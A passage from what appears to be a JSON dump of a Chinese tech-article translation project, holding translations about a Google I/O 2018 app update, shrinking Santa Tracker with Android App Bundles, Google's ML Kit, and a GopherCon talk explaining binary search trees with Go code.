[掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/google-i-o-2018-for-android-updated-w-more-detailed-map-navigation-assistant-action.md",
    "content": "> * 原文地址：[Google I/O 2018 for Android updated w/ more detailed map, navigation, & Assistant Action](https://9to5google.com/2018/05/02/google-i-o-2018-for-android-updated-w-more-detailed-map-navigation-assistant-action/)\n> * 原文作者：[technacity](https://twitter.com/technacity)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/google-i-o-2018-for-android-updated-w-more-detailed-map-navigation-assistant-action.md](https://github.com/xitu/gold-miner/blob/master/TODO1/google-i-o-2018-for-android-updated-w-more-detailed-map-navigation-assistant-action.md)\n> * 译者：[sisibeloved](https://github.com/sisibeloved)\n> * 校对者：[leviding](https://github.com/leviding)\n\n# 更为详细的地图、导航和助手功能 —— Google I/O 2018 的 Android 应用更新\n\n![](https://9to5google.files.wordpress.com/2018/04/google_io_18_app.jpg?quality=82&w=1024#038;strip=all&w=1600)\n\n离 I/O 2018 仅剩一个星期，Google 更新了 [Android 官方指南应用](https://play.google.com/store/apps/details?id=com.google.samples.apps.iosched)，为大会参与者带来了更加详尽的地图和更好的导航工具。同时，这周早些时候，Google 也上线了一个新的谷歌助手（Google Assistant）功能。\n\n为了迎接 2018 开发者大会，上周这个 [Android 应用已经被更新](https://9to5google.com/2018/04/26/google-io-2018-android-material-design/)，并展示了一些最新的 [Material Design](https://9to5google.com/2018/04/26/what-is-material-design-2-examples-launch-io/) 进展，像 BottomAppBar、白色主题和圆形界面元素。\n\n5 月 2 日晚的 6.1 版本更新了地图标签页，带有更为详尽的海岸线圆形剧场的布局。这个新的地图在[梳理了即将到来的 Android Auto 公告](https://9to5google.com/2018/04/30/google-io-18-android-auto-new/)的 [iOS 客户端](https://go.redirectingat.com/?id=3947X1518523&xs=1&isjs=1&url=https%3A%2F%2Fitunes.apple.com%2Fus%2Fapp%2Fgoogle-i-o-2017%2Fid1109898820%3Fmt%3D8%26ign-mpt%3Duo%253D4&xguid=d44cc47b8aff3d8b9ff34bd030eaddac&xuuid=ed349d34e7eb230b1c8b9d9f2397146e&xsessid=d3d0fe4235c34199f73e1f3178be0274&xcreo=0&xed=0&sref=https%3A%2F%2F9to5google.com%2F2018%2F05%2F02%2Fgoogle-i-o-2018-for-android-updated-w-more-detailed-map-navigation-assistant-action%2F&xtz=-480&jv=13.3.0&bv=2.5.1)上首先亮相，展示了真实的 3D 的帐篷、沙箱和其它的展台的图像。\n\n之前的版本只提供了一个总的大纲和通用的标签。在更新后的应用中，地图展示了各个角度的特征，还带有与会者想要的详尽的描述。\n\n![google-io-18-app-update-1](https://9to5google.files.wordpress.com/2018/05/google-io-18-app-update-1.png?w=246&h=437&quality=82&strip=all) ![google-io-18-app-update-2](https://9to5google.files.wordpress.com/2018/05/google-io-18-app-update-2.png?w=246&h=437&quality=82&strip=all) ![google-io-18-app-update-3](https://9to5google.files.wordpress.com/2018/05/google-io-18-app-update-3.png?w=246&h=437&quality=82&strip=all) ![google-io-18-app-update-old](https://9to5google.files.wordpress.com/2018/05/google-io-18-app-update-old.png?w=246&h=437&quality=82&strip=all)\n\n当查看会议列表时，底部栏更新了一个新的定位图标，点击即可在地图上精确定位，这样可以更方便地导航. 这个图标紧邻位于左边的分享图标的右侧。\n\n最后，「信息」标签添加了一个「相关应用」板块，链接到[这周上线](https://twitter.com/ActionsOnGoogle/status/991346508204314624)的 I/O 18 Google Assistant 功能。点击会直接打开助手的列表页。在多数带有助手的平台上，用户可以说出「Talk to Google I/O 18」来了解更多会议信息，浏览话题，以及获取更多资讯。\n\n![google-io-18-action-4](https://9to5google.files.wordpress.com/2018/05/google-io-18-action-4.png?w=246&h=437&quality=82&strip=all) ![google-io-18-action-1](https://9to5google.files.wordpress.com/2018/05/google-io-18-action-1.png?w=246&h=437&quality=82&strip=all) ![google-io-18-action-2](https://9to5google.files.wordpress.com/2018/05/google-io-18-action-2.png?w=246&h=437&quality=82&strip=all) ![google-io-18-action-3](https://9to5google.files.wordpress.com/2018/05/google-io-18-action-3.png?w=246&h=437&quality=82&strip=all)\n\n---\n\n[在 YouTube 上查看 9to5Google 以获取更多信息：](https://www.youtube.com/c/9to5google?sub_confirmation=1)\n\n* YouTube 视频链接：https://youtu.be/EgXUcyPWcRA\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/google-santa-tracker-moving-to-an-android-app-bundle.md",
    "content": "> * 原文地址：[Google Santa Tracker — Moving to an Android App Bundle](https://medium.com/androiddevelopers/google-santa-tracker-moving-to-an-android-app-bundle-dde180716096)\n> * 原文作者：[Chris Banes](https://medium.com/@chrisbanes)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/google-santa-tracker-moving-to-an-android-app-bundle.md](https://github.com/xitu/gold-miner/blob/master/TODO1/google-santa-tracker-moving-to-an-android-app-bundle.md)\n> * 译者：[phxnirvana](https://github.com/phxnirvana)\n> * 校对者：[portandbridge](https://github.com/portandbridge)\n\n# 谷歌寻踪圣诞老人应用（Santa Tracker）迁移到 Android App Bundle 记录\n\n![](https://cdn-images-1.medium.com/max/4240/1*ksxyyNT2V-A2N626DZ9D7A.png)\n\n**本文是 2018 谷歌寻踪圣诞老人应用改进探索系列文章的第一篇。**\n\n寻踪圣诞老人是谷歌每年都会发布的一款应用，这款应用让人们可以在全球追寻圣诞老人的足迹。不幸的是，这款应用在经过几年的迭代后，体积剧增，2017 年甚至达到了 **60MB**。我们在刚刚过去的圣诞季的目标是帮它大量减肥，本文讲述了我们实现该目标的过程。\n\n***\n\n如果读者体验过 [寻踪圣诞老人应用](https://play.google.com/store/apps/details?id=com.google.android.apps.santatracker) 的话，就会发现该应用有两大特色，「追踪器」让用户得以在全球范围内寻觅圣诞老人，另外一系列在十二月提供的小游戏来帮助用户享受圣诞季🎄。\n\n「追踪器」是该应用的主要功能，也是最多被用户使用的功能。该功能事实上只在圣诞节前 26 小时（12 月 24 日）可用，在此期间，追踪器是最多被使用的功能。更准确地说，在 12 月的所有界面使用统计中，**37%** 是在 12 月 24 日 使用的，而那一天，追踪器的使用率超过了 **65%**。\n\n那么，为什么这项功能如此重要呢？只有了解我们的主要特色是什么，才能让我们想明白，哪些是应用首次安装时最关键的功能，哪些是次要的、可以移到另外 module 中动态下发的功能，这样就使得我们的首次安装体积变小。2017 年发布的 app 包含全部功能，其中包括全部的游戏，即使用户根本不玩这些游戏。\n\n是时候对寻踪圣诞老人动刀子了，我们设立了将首次下载体积减少到**仅仅** 10MB 的目标😥。\n\n什么，为什么是这个数字？因为数据显示，相比 100MB 的应用，10MB 的应用提高了 30% 的转化率。当然，尽管许多应用都在追踪转化率，寻踪圣诞老人却并不是我们追踪转化率的 app。10MB 也是一个尝试起来很难达到的目标，我们想看看这究竟是不是可行的。关于更多统计背后的信息，可以阅读 [Google Play 团队](https://medium.com/googleplaydev) 的这篇文章：\n\n- [**体积越小，安装率越高**：应用 APK 的体积是如何影响安装率的](https://medium.com/googleplaydev/shrinking-apks-growing-installs-5d3fcba23ce2)\n\n## 动态分发\n\n读者可能听说过 [Android App Bundle](https://developer.android.com/platform/technology/app-bundle/) 这项新技术，该技术使得 Google Play 商店可以动态下发仅仅和用户设备相关的定制应用。这项技术也帮助我们开了个好头。只需上传 AAB（Android App Bundle）来代替 APK，我们就马上让下载体积减少了将近 **20%** ，达到了 **48.5MB**（从 60MB）。们只不过是花了**一小步**的功夫，就在缩减体积方面迈进了**一大步**！\n\n> 如果只打算从本文中学一项技术，一定得是上传 AAB 来取代 APK。这一小改动有很大机会来节省用户的时间和金钱。\n\nGoogle Play 是怎么实现这种瘦身的呢？这一做法能够分发针对个别设备的优化包，这么一来，相应工具就能从安装包中移除所有不适用于设备的语言资源、分辨率资源以及本地库。比如，如果你的设备设置是 `fr-FR`（法语），分辨率是 `xxhdpi` ，CPU是 `arm64-v8a` 架构的，下发的 APK 便只会包含必要的资源，而不会包含诸如针对西班牙语本地化的字符串之类的东西。当发现本地化字符串占用的空间有多大时，你一定会大吃一惊。\n\n不要忘了观看 [Android 开发大会 ’18](https://developer.android.com/dev-summit/) 上的 ‘[优化应用的体积](https://www.youtube.com/watch?v=QdoEcfibG-s)’ 演讲来获取更多信息：\n\n- YouTube 视频链接：https://youtu.be/QdoEcfibG-s\n\n## 功能模块\n\n尽管我们有着良好的开头，却仍距离 10MB 的目标十万八千里！所以我们开始考虑哪些功能可以被拆到动态功能模块中，用户可以通过 [Play Core library](https://developer.android.com/guide/app-bundle/playcore) 来获取所需的模块。好消息是我们已经按逻辑分离了一大模块：游戏🎮。\n\n于是便有了如下的计划：将每个游戏拆分到单独的功能模块中，并只当用户第一次打开特定游戏的时候才安装。听起来很棒，不是么？尽管逻辑上游戏都分离了，但基础代码却**并没有**分离。经过数年的功能变迁，它们已经缠缠绵绵难以分离了。应用中的库模块层层叠叠，而且到处是重复的资源。\n\n我们的首要工作是将其解耦和，并在游戏模块之间建立足够清晰的边界。我们小心翼翼地分离了全部的游戏模块，通过使用新的 `com.android.dynamic-feature` Gradle 插件，现在每个游戏都是完全独立的模块了。对于那些有着相同依赖的游戏（比如 ‘Penguin Swim’ 和 ‘Elf Jetpack’ 共享了许多代码），依赖被添加到 ‘base’ 模块中，这样一来，就可以只安装一次（同时玩两个游戏）了。\n\n### 功能模块的实现\n\n正如之前说过的那样，模块迁移中占大头的工作是已有代码的重新组织，另外也有一些小的整合工作需要通过 [Play Core library](https://developer.android.com/guide/app-bundle/playcore) 来将其穿插起来。\n\n首先是用户启动游戏时的 UX。我们首先打开显示 logo 和游戏标题的 ‘启动页（splash screen）’ activity，过一小段时间再运行游戏。运行游戏需要的全部信息都作为 intent extras 传送到启动页了。数年来该行为都没有变化，我们也并不打算修改这一行为。相反，我们从中找到了动态分发功能模块的切入点。\n\n2018 年我们更新了启动行为，发送了四点信息：游戏标题、游戏图标、要运行的 Activity 类以及该功能模块的 ID。一旦启动页展示出来，就检查是否安装了相关模块。如果安装了，就直接运行，反之则通过 Play Core library 请求安装，并展示下载进度条：\n\n![](https://cdn-images-1.medium.com/max/2000/1*KPoBN-zNlJPVmjrIy8A8jQ.gif)\n\n我们在早期测试中发现需要小心处理下载安装时的场景。我们并不想因为在用户处于移动网络时安装功能模块，而无意中让他们花钱。为了应对这种情形，我们在检测到当前网络是流量网络（如移动网络）时增加了确认对话框：\n\n![当连接到流量网络时的确认对话框](https://cdn-images-1.medium.com/max/2160/1*2qCP_mHG0gr4eKJ0Md0H1A.png)\n\n整体逻辑如下：\n\n```\n/* Copyright 2018 Google LLC.\n   SPDX-License-Identifier: Apache-2.0 */\n\noverride fun onCreate(savedInstanceState: Bundle?) {\n    // ... 安装\n\n    // 游戏功能模块的 Id \n    val featureModuleId = intent.getStringExtra(...)\n\n    if (featureModuleName in splitInstallManager.installedModules) {\n        // 功能模块已经安装，直接运行\n        launchTargetActivity()\n    } else {\n        // 功能模块没有安装，请求安装\n        val mgr = getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager\n        if (mgr.activeNetworkInfo?.isConnected == true) {\n            // 有网络...\n            if (mgr.isActiveNetworkMetered) {\n                // TODO ...流量网络，请求用户确认\n                showMeteredNetworkConfirmDialog()\n            } else {\n                // ...否则，直接下载\n                startModuleInstall(featureModuleId)\n            }\n        } else {\n            // 没有网络，显示错误框并退出\n            onFeatureModuleLaunchFailure()\n        }\n    }\n}\n```\n\n由于 Play Core API 的缘故，`startModuleInstall()` 的方法看起来有些复杂。需要在安装时添加一个用于回调的 listener，然后再请求安装，如下所示：\n\n```\n/* Copyright 2018 Google LLC.\n   SPDX-License-Identifier: Apache-2.0 */\n\nprivate lateinit var splitInstallManager: SplitInstallManager\nprivate lateinit var installListener: SplitInstallStateUpdatedListener\n\nprivate fun startModuleInstall(featureModuleId: String) {\n    // 显示进度条\n    progressbar.isVisible = true\n    progressbar.isIndeterminate = true\n\n    // 添加 listener\n    splitInstallManager.registerListener(installListener)\n    \n    // 发送请求，开始安装\n    val request = SplitInstallRequest.newBuilder()\n            .addModule(featureModuleId)\n            .build()\n    splitInstallManager.startInstall(request)\n}\n```\n\nlistener 会监听到安装完成的信号，然后运行游戏。可以在 [这里](https://github.com/google/santa-tracker-android/tree/master/santa-tracker/src/main/java/com/google/android/apps/santatracker/games/SplashActivity.kt) 找到完整代码。\n\n## 成果\n\n如果你读到这里了，一定会想知道我们的成果如何……\n\nAndroid Studio 分析 App Bundle（以及 APK）的工具相当好用，可以深入观察每个功能模块的下载体积。我们可以在其中看到我们应用的初始下载体积是  11.6MB （并没有达到 10MB 的目标），总下载体积是 25.5MB。\n\n![**使用 Android Studio 中 Analyze Bundle 功能计算的下载体积**](https://cdn-images-1.medium.com/max/3652/1*z6BiUOLlfqpwx58ywfSsVw.png)\n\n![展示模块体积对比的图表](https://cdn-images-1.medium.com/max/3592/1*aamb-oJ9fhE-7VPpvHh-bA.png)\n\n但……这些值只展示了生成的 Android App Bundle 文件，并没有计算 Google Play 动态下发（上文讨论过）节省的体积。观察特定设备下载体积最准确的方式是在 [Google Play 开发者控制台](https://play.google.com/apps/publish/) 中。上传 App Bundle 后，就可以在 ‘Release Management’ -> ‘Artifact Library’ 看到特定设备的下发包体积：\n\n![计算结果是……](https://cdn-images-1.medium.com/max/2516/1*yno3GA8adiZ14mVoxpwTVw.png)\n\n可以看到我们达到了 10MB 的目标，下载体积只有 **9.21MB**！相比 2017 年 60MB 的应用，我们减少了 **85%** 的体积！ 🎉🎆\n\n![高画质的实际截图](https://cdn-images-1.medium.com/max/2048/1*UT_XNkjswxZIyvLT2l-nyg.gif)\n\n### 普惠众生\n\n希望本文展示了迁移到 App Bundle 可以带给用户的巨大收益。尽管分离模块并不是什么举手之劳，但好的代码实践诸如高内聚低耦合也会收益良多。\n\n关于上面的数字还有一小点要注意的是，其中也有我们使用的其他体积压缩技术的功劳，包括 asset 压缩和迁移到 R8。我们会在下篇文章中讨论这些。\n\n* **读者可能会好奇为什么是 26 个小时而不是 24？这是因为国际日期变更线 [并不是一条直线](https://en.wikipedia.org/wiki/International_Date_Line#/media/File:International_Date_Line.png)。基里巴斯的时区是 [UTC+14](https://www.timeanddate.com/worldclock/difference.html?p1=274)，这意味着它和豪兰岛和贝克岛（UTC-12 时区）间有 26 小时的时差。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/googles-ml-kit-offers-easy-machine-learning-apis-for-android-and-ios.md",
    "content": "> * 原文地址：[Google’s ML Kit offers easy machine learning APIs for Android and iOS](https://arstechnica.com/gadgets/2018/05/googles-ml-kit-offers-easy-machine-learning-apis-for-android-and-ios/)\n> * 原文作者：[RON AMADEO](https://arstechnica.com/author/ronamadeo/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/googles-ml-kit-offers-easy-machine-learning-apis-for-android-and-ios.md](https://github.com/xitu/gold-miner/blob/master/TODO1/googles-ml-kit-offers-easy-machine-learning-apis-for-android-and-ios.md)\n> * 译者：[ALVINYEH](https://github.com/ALVINYEH)\n> * 校对者：[kezhenxu94](https://github.com/kezhenxu94/)\n\n# Google 的 ML Kit 为 Android 和 iOS 提供了简单的机器学习 API\n\n普通人也可以通过简单的 API 调用将机器学习功能添加到他们的应用程序中。\n\n![](https://cdn.arstechnica.net/wp-content/uploads/2018/05/social-1-800x400.png)\n\n加州山景城 —— 谷歌正在为其 Firebase 开发平台推出一款新的机器学习 SDK，名为“ML Kit”。新的 SDK 为一些最常见的计算机视觉用例提供了现成的 API，允许那些不是机器学习专家的开发人员给他们的应用程序添加一些机器学习的魔法。这不仅仅是一个Android SDK；它同样也适用于 iOS 的应用。\n\n通常来说，建立一个机器学习环境是一项艰巨的工作。你必须学习如何使用像 TensorFlow 这样的机器学习库，获取大量的训练数据来教你的神经网络做一些事情，并且最终，你需要它输出一个足够轻量的模型在移动设备上运行。ML Kit 简化了这一切流程，只需在 Google 的 Firebase 平台上调用某些机器学习特性即可。\n\n![](https://cdn.arstechnica.net/wp-content/uploads/2018/05/Introducing_ML_Kit_Embarg-001-980x628.jpg)\n\n新的 API 支持文本识别、人脸检测、条形码扫描、图像标记和地标识别功能。每个 API 都有两个版本：一个是基于云的版本，它通过使用某些数据作为代价来提供更高的准确性，而本地设备上的版本即使在离线的情况下也可以正常运作。对于照片，本地版本的 API 可以识别图片中的狗，而更精确的基于云的 API 可以确定狗的具体品种。本地 API 是免费的，而基于云的 API 使用通常的 Firebase cloud API 来定价。\n\n如果开发人员确实使用基于云的 API，那么所有数据都不会保留在 Google 的云上。一旦处理完成，数据就会被删除。\n\n今后，谷歌将为智能回复添加一个 API。这一机器学习功能将在谷歌收件箱中首次出现，它将扫描电子邮件，对你的邮件生成几个简短回复，你只需轻轻点击即可发送出去。此功能将在初步预览中首次推出，并且计算始终在设备上本地完成。还有一个“高密度的面部轮廓”功能即将出现在人脸检测 API，这对于那些在你的脸上粘贴虚拟物品的增强现实应用来说是个完美的选择。\n\n* YouTube 视频链接：https://youtu.be/ejrn_JHksws\n\nML Kit 还提供了一个选项，可以将机器学习模型与应用程序解耦，并将模型存储在云中。根据 Google 的说法，由于这些模型可以达到“数十兆字节的大小”，将其卸载到云端应该提高应用程序安装速度。模型首先在运行时下载，因此它们在第一次运行后就能够脱机工作，并且应用程序将下载任何以后的模型更新。\n\n这些机器学习模型的规模庞大是个问题，Google 正试图用未来基于云计算的机器学习压缩方案来解决这个问题。谷歌的计划是最终采用完整的 TensorFlow 模型，并以相似的精度推出压缩的 TensorFlow Lite 模型。\n\nML Kit 与 Firebase 的其他功能也能很好的进行协作，比如 RemoteConfig，它允许在用户基础上对机器学习模型进行 A/B 测试。Firebase 还可以动态切换或更新模型，而无需更新应用程序。\n\n希望尝试使用 ML Kit 的开发者可以在 [Firebase console](https://console.firebase.google.com/u/0/project/_/ml?pli=1) 中找到它。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/gophercon-2018-binary-search-tree-algorithms.md",
    "content": "> * 原文地址：[GopherCon 2018 - Demystifying Binary Search Tree Algorithms](https://about.sourcegraph.com/go/gophercon-2018-binary-search-tree-algorithms/)\n> * 原文作者：[Kaylyn Gibilterra](https://twitter.com/kgibilterra)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/gophercon-2018-binary-search-tree-algorithms.md](https://github.com/xitu/gold-miner/blob/master/TODO1/gophercon-2018-binary-search-tree-algorithms.md)\n> * 译者：[Changkun Ou](https://github.com/changkun)\n> * 校对者：[razertory](https://github.com/razertory)\n\n# GopherCon 2018：揭秘二叉查找树算法\n\nBy Geoffrey Gilmore for the GopherCon Liveblog on August 30, 2018\n\nPresenter: [Kaylyn Gibilterra](https://twitter.com/kgibilterra)\n\nLiveblogger: [Geoffrey Gilmore](https://github.com/ggilmore)\n\n算法的学习势不可挡也令人气馁，但其实大可不必如此。在本次演讲中，Kaylyn 使用 Go 代码作为例子，直接了当的阐述了二叉查找树算法。\n\n* * *\n\n## 介绍\n\nKaylyn 在最近的一年里尝试通过实现各种算法来找乐子。可能这件事情对于你来说很奇怪，但算法对她而言尤其诡异。她在大学课堂里尤其讨厌算法。她的教授经常使用一些复杂的术语来授课，而且还拒绝解释一些『显然』的概念。结果就是，她只学到了一些能够帮助她找到工作的基本知识。\n\n然而她的态度在当她开始使用 Go 来实现这些算法时就开始转变了。将那些由 C 或者 Java 编写的算法转换到 Go 身上令人意想不到的简单，于是她开始逐渐理解这些算法，并且比在大学期间理解得更为透彻。\n\nKaylyn 将在演讲中解释为什么会出现这种情况、并为你展示如何使用二叉查找树。在这之前，我们需要问：为什么学习算法的体验如此糟糕？\n\n## 学习算法很可怕\n\n![](https://user-images.githubusercontent.com/9022011/44757761-fdfd3100-aaed-11e8-8efb-bcac3d9aebb4.png)\n\n此截图来自《算法导论》的二叉查找树部分。算法导论被认为是算法书籍的圣经。据作者所说，在 1989 年出版之前，没有一本很好的算法教科书。但是，任何阅读算法导论的人都可以说它是由主要受众具有学术意识的教授编写的。\n\n举几个例子：\n\n* 此页引用了本书在其他地方定义的许多术语。所以你需要了解： \n\n  * 什么是卫星数据（satellite data）\n  * 什么是链表（linked list）\n  * 什么是树的先序（pre-order）、后序（post-order）遍历\n\n  如果你没有在书中的每一页上做笔记，你就无法知道这些都是什么。\n\n* 如果你和 Kaylyn 一样，那么你看这一页的第一件事就是去看代码。但是，页面上唯一的代码只解释了一种遍历二叉查找树的方法，而不是二叉查找树实际上是什么。\n\n* 本页的整个底部四分之一是定理和证明，这可能是善意的。许多教科书作者认为向你证明他们的陈述是真实的是相当重要的；否则，你就无法相信他们。可笑的是，算法应该是一本入门教科书。但是，初学者不需要知道算法正确的所有具体细节，因为他们会听你的话。\n\n* 他们确实有一个两句话区域（以绿色框突出显示），解释了二叉查找树算法是什么。但它隐藏在一个几乎看不见的句子中，并称之为二元查找树『性质』，这对于初学者而言是非常令人困惑的术语。\n\n结论:\n\n1. 学术教科书的作者不一定是好老师，最好的老师经常不写教科书。\n2. 可惜大多数人都复制了标准教科书使用的教学风格或格式。 在查看二叉查找树之前，他们默认你已经了解了相关的术语。事实上，大多数这种『必需的知识』并不是必需的。\n\n本演讲的其余部分将介绍二叉查找树的内容。如果你是 Go 新手或算法新手，你会发现它很有用。而如果你都不是，那么它可以作为一次很好的回顾，同时你也分享给对 Go 或者算法感兴趣的人。\n\n## 猜数游戏\n\n这是你在接下来全部演讲中唯一需要知道的东西。\n\n![](https://user-images.githubusercontent.com/9022011/44758592-a01f1800-aaf2-11e8-9225-00c9d88ccaf9.png)\n\n这是一个『猜数游戏』，很多人儿时玩过的游戏。你邀请你的朋友来参加在某个范围内（比如 1 至 100）猜一个特定数的游戏。然后你朋友可能会说『57』。一般情况下第一次猜会猜错，但是你会告诉他们猜测的数字是大了还是小了。然后他可以继续猜测知道最后猜中为止。\n\n![](https://user-images.githubusercontent.com/9022011/44758764-7b777000-aaf3-11e8-92d4-ebb4e92c2832.png)\n\n这个猜数游戏基本上就是一个二叉查找的过程了。如果你正确理解了这个猜数游戏，那么你也能够理解二叉查找树算法背后的原理。你朋友猜测的数字就是查找树中的某个节点，『高了』和『低了』决定了移动的方向：右节点或左节点。\n\n## 二叉查找树的规则\n\n1.  每个节点包含一个唯一的 key，用于比较不同的节点大小。一个 key 可以是任何类型：字符串、整数等等。\n2.  每个节点至多两个子节点\n3.  节点的值小于右子树种节点的值\n4.  节点的值大于左子树种节点的值\n5.  没有重复的 key\n\n二叉查找树包含三个主要操作：\n\n*   查找\n*   插入\n*   删除\n\n二叉查找树可以让上面这三个操作变得更快，这也是他们为什么如此热门的原因。\n\n## 查找\n\n![](https://cl.ly/dd19a7225c09/Screen%252520Recording%2525202018-08-29%252520at%25252009.03%252520PM.gif)\n\n上面的 GIF 图给出了在树种查找 `39` 的例子。\n\n![](https://cl.ly/908ecf0f3854/Image%2525202018-08-29%252520at%2525209.31.02%252520PM.png)\n\n一个非常重要的性质是二叉查找树一个节点右子树中节点的值总是大于节点自身的值，而左子树中节点的值总是小于节点自身的值。比如图中 `57` 右边的数总是大于 `57` ，而左边总是小于 `57`。\n\n![](https://cl.ly/61dfb3a92722/Image%2525202018-08-29%252520at%2525209.33.32%252520PM.png)\n\n这个性质除了根节点外，对树中每个节点都有效。在上图中，所有右子树的值都大于 `32`，左子树则小于 `32`。\n\n好了，我们知道了基本原理，可以开始写代码了。\n\n```go\ntype Node struct {\n    Key   int\n    Left  *Node\n    Right *Node\n}\n```\n\n基本结构是一个 `stuct` ，如果你还没有用过 `stuct`，`struct` 基本上可以解释为一些字段的集合。这个结构体你需要的只是一个 `Key`（用于比较其他节点），一个 `Left` 和 `Right` 子节点。\n\n当定义一个 节点（Node）时，你可以使用这样的字面量，你可以使用这样的字面量：\n\n```go\ntree := &Node{Key: 6}\n```\n\n它创建了一个 `Key` 为 `6` 的 `Node`。你可能好奇 `Left` 和 `Right` 去哪儿了。事实上他们都被初始化成零值了。\n\n```go\ntree := &Node{\n    Key:   6,\n    Left:  nil,\n    Right: nil,\n}\n```\n\n然而你也可以显式什么这些字段的值（比如上面指定了 `Key`）。\n\n又或者在没有字段名称的情况下指定字段的值：\n\n```go\ntree := &Node{6, nil, nil}\n```\n\n这种情况下，第一个参数为 `Key`，第二个为 `Left`，第三个为 `Right`。\n\n指定完后你就可以通过点语法来访问他们的值了：\n\n```go\ntree := &Node{6, nil, nil}\nfmt.Println(tree.Key)\n```\n\n现在我们来实现查找算法 `Search`：\n\n```go\nfunc (n *Node) Search(key int) bool {\n    // 这是我们的基本情况。如果 n == nil，则 `key`\n    // 在二叉查找树种不存在\n    if n == nil {\n        return false\n    }\n    if n.Key < key { // 向右走\n        return n.Right.Search(key)\n    }\n    if n.Key > key { // 向左走\n        return n.Left.Search(key)\n    }\n    // 如果 n.Key == key，就说明找到了\n    return true\n}\n```\n\n## 插入\n\n![](https://cl.ly/aaa1f718d537/Screen%252520Recording%2525202018-08-29%252520at%25252010.17%252520PM.gif)\n\n上面的 GIF 图片展示了在一个数中插入 `81` 的例子，插入与查找非常类似。我们想要找到应该在什么位置插入 `81`，于是开始查找，然后在合适的位置插入。\n\n```go\nfunc (n *Node) Insert(key int) {\n    if n.Key < key {\n        if n.Right == nil { // 我们找到了一个空位，结束！\n            n.Right = &Node{Key: key}\n            return\n        }\n        // 向右边找\n        n.Right.Insert(key)\n       \treturn\n    } \n    if n.Key > key {\n        if n.Left == nil { // 我们找到了一个空位，结束\n            n.Left = &Node{Key: key}\n            return\n        } \n        // 向左边找\n        n.Left.Insert(key)\n    }\n    // 如果 n.Key == key，则什么也不做\n}\n```\n\n[如果你没见过 `(n *Node)` 语法，可以看看这里关于指针型 receiver 的说明。](https://tour.golang.org/methods/4)\n\n## 删除\n\n![](https://cl.ly/e261dd30e743/Screen%252520Recording%2525202018-08-29%252520at%25252010.33%252520PM.gif)\n\n上面的 GIF 图展示了从一个树种删除 78 的情况。`78` 的查找过程和之前类似。这种情况下，我们只需要正确的将 `78` 从树中『剪掉』、将右子节点 `57` 连接到 `85` 就行了。\n\n```go\nfunc (n *Node) Delete(key int) *Node {\n    // 按 `key` 查找\n    if n.Key < key {\n        n.Right = n.Right.Delete(key)\n        return n\n    }\n    if n.Key > key {\n        n.Left = n.Left.Delete(key)   \n        return n\n    }\n\n    // n.Key == `key`\n    if n.Left == nil { // 只指向反向的节点\n        return n.Right\n    }\n    if n.Right == nil { // 只指向反向的节点\n        return n.Left\n    }\n\n    // 如果 `n` 有两个子节点，则需要确定下一个放在位置 n 的最大值\n    // 使得二叉查找树保持正确的性质\n    min := n.Right.Min()\n\n    // 我们只使用最小节点来更新 `n` 的 key\n    // 因此 n 的直接子节点不再为空\n    n.Key = min\n    n.Right = n.Right.Delete(min)\n    return n\n}\n```\n\n## 